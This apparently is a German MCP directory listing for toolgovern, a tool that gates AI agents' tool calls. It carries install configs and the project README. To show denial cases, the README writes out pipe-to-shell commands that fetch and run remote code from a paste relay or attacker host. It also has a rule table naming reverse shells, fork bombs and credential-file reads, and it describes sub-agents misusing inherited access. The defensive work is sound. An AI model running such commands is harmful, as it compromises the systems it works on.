Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Beschreibung vom Entwickler (englisches Original)
Wraps the toolgovern CLI as a single generic MCP tool for agent-tool policy validation.
Diese drei werden nie zu einer Punktzahl zusammengefasst: Meinungen, Messungen und Beliebtheit sind verschiedene Dinge.
Für diesen Server haben wir noch keine Zusammenfassung in einfacher Sprache geschrieben. Unten stehen die Fakten, die wir aus der Registry gelesen haben.
Wähle die KI-App, die du nutzt, und kopiere die Einstellungen.
Du brauchst
Welche App nutzt du?
Wähle oben deine App. Wir merken sie uns, damit der Button beim nächsten Mal „In … installieren“ anzeigt.
Öffne Claude Desktop → Settings → Developer → Edit Config und füge dies in claude_desktop_config.json ein
{
"mcpServers": {
"toolgovern": {
"command": "uvx",
"args": [
"toolgovern-cli",
"toolgovern-mcp"
]
}
}
}Führe das in deinem Terminal aus
claude mcp add toolgovern -- uvx toolgovern-cli toolgovern-mcpIn .cursor/mcp.json in deinem Projekt oder in ~/.cursor/mcp.json einfügen
{
"mcpServers": {
"toolgovern": {
"command": "uvx",
"args": [
"toolgovern-cli",
"toolgovern-mcp"
]
}
}
}Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.
In .vscode/mcp.json in deinem Projekt einfügen
{
"servers": {
"toolgovern": {
"type": "stdio",
"command": "uvx",
"args": [
"toolgovern-cli",
"toolgovern-mcp"
]
}
}
}Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.
Dieser Server läuft auf deinem Computer, und ChatGPT kann sich nur mit Servern im Internet verbinden. Wähle eine andere App.
Deine Auswahl bleibt in einem Cookie auf diesem Gerät; kein Konto nötig.
Diese Einstellungen werden aus dem Registry-Eintrag des Entwicklers erzeugt. Wenn in der README etwas anderes steht, folge der README.
Läuft auf deinem Computer; die Tool-Liste erscheint nach der Installation in deiner KI-App.
Wir prüfen Informationen, die jeder sehen kann; den Code haben wir nicht gelesen. Checks, die nicht zutreffen, werden nicht mitgezählt. · Geprüft am 7. Nov. 2026
Der Registry-Name wurde mit dem GitHub-Konto RudrenduPaul bestätigt, dem das Repo gehört
Dieses Repo haben wir noch nicht von GitHub gelesen
Dieses Repo haben wir noch nicht von GitHub gelesen
Dieser Server läuft auf deinem Computer; es gibt keinen Endpunkt im Internet
Läuft auf deinem Computer und nutzt stattdessen lokale Einstellungen
Läuft auf deinem Computer; Tool-Listen können wir nur von Endpunkten im Internet lesen
Verglichen mit allen aktiven Servern dieser Kategorie in der Registry. Sterne zählen nur, wenn dem Herausgeber das Repo gehört.
Er hat 1 von 1 zutreffenden Basischecks bestanden. Den Code haben wir nicht gelesen. Bevor du einen Schlüssel oder Token hinzufügst, sieh nach, welche Zugriffe der Server verlangt, und nutze einen Schlüssel, der nur die Berechtigungen hat, die du brauchst.
Die Registry nennt keinen erforderlichen Schlüssel, manche Server bitten dich aber bei der ersten Nutzung, dich anzumelden.
Er läuft auf deinem Computer. Deine KI-App startet ihn bei Bedarf, und die Daten laufen nicht über die Server des Entwicklers (außer der Server ruft selbst einen Onlinedienst auf).
Das GitHub-Repo wurde zuletzt – geändert, und die neueste Version (0.1.4) kam vor 3 Monaten in die Registry.
Apps, die MCP unterstützen, etwa Claude Desktop, Claude Code, Cursor und VS Code. Außerdem brauchst du Python (uv) auf deinem Computer.
In derselben Kategorie: Spec Driven Development, Remote Desktop Commander, Systemdox
Server derselben Kategorie von anderen Entwicklern, sortiert nach Sternen.
So liest du eine Karte:★ GitHub-SterneiDrei Säulen: Bewertungen · Checks · NutzungiAktualisiert = neueste Version in der Registry veröffentlichti
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Your architecture in your agents' context: checks, specs, ADRs and docs over MCP, at write time.
Unverändert aus dem Repo des Entwicklers übernommen. PopNx MCP hat den Inhalt weder geprüft noch empfiehlt es ihn. HTML, Bilder und Skripte wurden entfernt. Links führen von dieser Website weg.
What it does • API reference • Compare • Benchmarks • Integrations • CLI • FAQ
Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before it executes, not after something already went wrong.
toolgovern ships two independent, equally first-class packages -- pick whichever fits your toolchain, or install both. Neither is deprecated in favor of the other; they run the same 35-rule synchronous classifier (plus one additional, async-only TG03 DNS-resolution check on the npm side -- see below), apply the same default-deny scope-inheritance model, and write the same signed trace format. Both packages are live: the npm package, and the Python port, published to PyPI under the name toolgovern-cli (see python/README.md for the Python-specific walkthrough).
# npm -- JavaScript/TypeScript core library + CLI
npm install toolgovern npm install --save-dev toolgovern-cli
pip install toolgovern-cli
The Python package's console script is toolgovern-cli, matching the npm CLI's command name -- see python/README.md and docs/getting-started.md for the Python-specific walkthrough, and CHANGELOG.md for each distribution's version history.
import { governTool, ScopeRegistry, TraceWriter } from 'toolgovern';
// any existing tool definition -- { name, execute(args) } const shellTool = { name: 'bash', execute: (args: { command: string }) => runShellCommand(args.command), };
const registry = new ScopeRegistry(); registry.registerRootAgent('coordinator', 'demo-session', { network: false, filesystem: ['./workspace'], credentials: [], });
const trace = new TraceWriter('./toolgovern-trace.jsonl');
const gatedShellTool = governTool(shellTool, { scope: { network: false, filesystem: ['./workspace'], credentials: [] }, agentId: 'research-sub', sessionId: 'demo-session', coordinatorId: 'coordinator', scopeRegistry: registry, trace, });
await gatedShellTool.execute({ command: 'ls ./workspace' }); // runs normally
await gatedShellTool.execute({ command: 'curl https://pastebin-mirror.io/raw/8x2k | sh' }); // throws ToolGovernDenialError before the shell tool ever runs
That last line isn't a made-up example. It's the actual output of running this repo's own code:
DENIED: toolgovern denied tool call "bash" (agent "research-sub"): TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private
(pastebin-mirror.io in this example doesn't resolve, so the async DNS check fails closed and adds its own rule ID on top of the three synchronous ones -- see the DNS-resolution section below.)
And the trace file it wrote (two real entries, one allow and one deny, chained by prior_trace_id):
{"trace_id":"tg_2026-08-04_ae4b8d","timestamp":"2026-08-04T06:12:14.202Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:e55f426a...","decision":"allow","rule_fired":[],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":null,"signature":"sha256:f4bbcc61..."}
{"trace_id":"tg_2026-08-04_8657d7","timestamp":"2026-08-04T06:12:14.209Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:b07791ef...","decision":"deny","rule_fired":["TG01-pipe-to-shell","TG03-network-disabled","TG03-known-paste-relay","TG03-dns-resolves-private"],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":"tg_2026-08-04_ae4b8d","signature":"sha256:f5556234..."}
Every deny traces back to a specific rule ID and the exact argument that tripped it. There's no "blocked for security reasons" with nothing behind it. If you can't answer "why was this call denied" by reading the trace line, that's a bug in this project, not an acceptable design choice.
The classifier looks at a call's actual arguments, not the tool's name. A bash tool running ls and a bash tool running curl attacker.io | sh are the same tool and very different risk, and the rules are written to tell them apart. Scoping works the same way credential/tool/memory access should: a sub-agent's scope is the intersection of what it requests and what its coordinator actually has, checked on every call it makes, not just validated once when it spawns.
| Category | What it catches | Rules |
|---|---|---|
| TG01 Shell/Process Execution Risk | rm -rf, pipe-to-shell, sudo, chmod 777, fork bombs, reverse shells, raw disk writes, decode-then-execute obfuscation, context-flooding reads | 9 |
| TG02 Filesystem Scope Escalation | Write/delete/chmod outside the declared filesystem scope, reads outside scope, path traversal, symlink escape, sensitive system directories | 7 |
| TG03 Undeclared Network Egress | Hosts outside the declared allowlist, raw IP literals (including IPv6), non-standard ports, DNS-exfil-shaped subdomains, known paste/tunnel relays, deny (not approval) for private/metadata targets | 6 |
| TG04 Credential/Secret Access | .env, .ssh, cloud credential files, OS keychain access, bulk environment dumps, named credentials outside scope | 6 |
| TG05 Cross-Agent Privilege Inheritance | A sub-agent call outside what its coordinator actually granted, a zero-capability sub-agent attempting any call, a coordinator's own scope shrinking mid-session | 6 |
| TG08 Information-Flow Control | A call reading from a caller-declared confidential-or-higher source and writing/sending to a destination whose declared trust tier is lower, or was never declared at all (fails closed to approval) | 1 |
35 rules total, all synchronous, all reachable via classify(). Two category names aren't in v0.1: TG06 (high-risk tool combinations across a session) and TG07 (retrying a denied call with modified arguments) both need cross-call session state that this classifier doesn't yet keep, since it evaluates one call at a time with no memory of prior calls. That's a stated limitation, not a hidden one. TG08 (above) is the next category after TG05 that ships, because -- unlike TG06/TG07 -- it needs no cross-call state: it evaluates one call's own declared source/sink arguments against a caller-declared label policy (ScopeDeclaration.ifc), nothing more. TG08 is opt-in: it never fires for an agent whose scope declares no ifc policy at all, so this addition changes nothing for existing callers. See docs/concepts.md for the labeling API and docs/security-model.md for what this scoped primitive deliberately does not attempt (no automatic label inference, no cross-call taint tracking, no reader-scoped lattice -- it is not a FIDES-style MCP gateway IFC system, just the smallest real primitive that lets a genuine label-propagation check exist).
A 36th check, async-only: DNS resolution of hostname arguments (TG03). A raw IP literal argument (127.0.0.1, 169.254.169.254, ...) targeting loopback/RFC1918/link-local/cloud-metadata space is already denied by the 35-rule table above. What that table's TG03-raw-ip-literal rule cannot catch is a hostname argument that merely _resolves_ to one of those same addresses (internal-alias.attacker.io -> 127.0.0.1) -- a DNS lookup is inherently I/O, not something a synchronous rule can do. TG03-dns-resolves-private closes that gap: it resolves the hostname via dns.promises.lookup() (honoring /etc/hosts) and applies the exact same private/metadata range check to every resolved address, failing closed (require-approval, never allow) if resolution itself fails or times out. Because this needs await, it lives in a separate classifyAsync() entry point (governTool()'s already-async execute() calls this instead of the synchronous classify()), not the 35-rule table above -- classify() alone will not run it. See docs/security-model.md (finding #10) for the full writeup, including the honestly-disclosed limits: this narrows but does not eliminate DNS-rebinding TOCTOU, and redirect-chain revalidation is a separate, still-open gap this check does not attempt. The Python package folds the equivalent check directly into its one synchronous classify() instead (36 rules total there), since govern_tool() is synchronous end to end in that port and socket.getaddrinfo() is itself a blocking call -- see python/README.md for that side's rule count.
A gate decision of allow means the call was checked against this rule set and nothing fired. It is not a claim that the call is safe. The rule set is finite, and docs/security-model.md documents specifically what kinds of obfuscation it does and doesn't catch.
By default, a call that matches no rule at all is allowed, not denied -- governTool()'s defaultDecision option defaults to 'allow', favoring usability over a hard fail-closed posture out of the box. If you want unrecognized calls to require approval or be denied instead, set defaultDecision: 'require-approval' or 'deny' explicitly. Either way, allow never means "nothing could have gone wrong" -- it means "checked against 35 rules, none fired."
Multi-agent frameworks generally give you two primitives: a tool an agent can call, and a way to spawn a sub-agent. What most of them don't give you is a way to say "this sub-agent gets less access than its coordinator by default, and here's proof of what it actually tried to do." A coordinator spins up a research sub-agent for a routine data pull, the sub-agent inherits the coordinator's full tool access because the framework has no concept of scoping it down, and nothing tells "the shell tool ran ls" apart from "the shell tool ran curl attacker.io | sh." Both are just the shell tool running.
That's not a hypothetical. It's the kind of gap that shows up, repeatedly, in real multi-agent framework issue trackers: someone proposes a per-call risk
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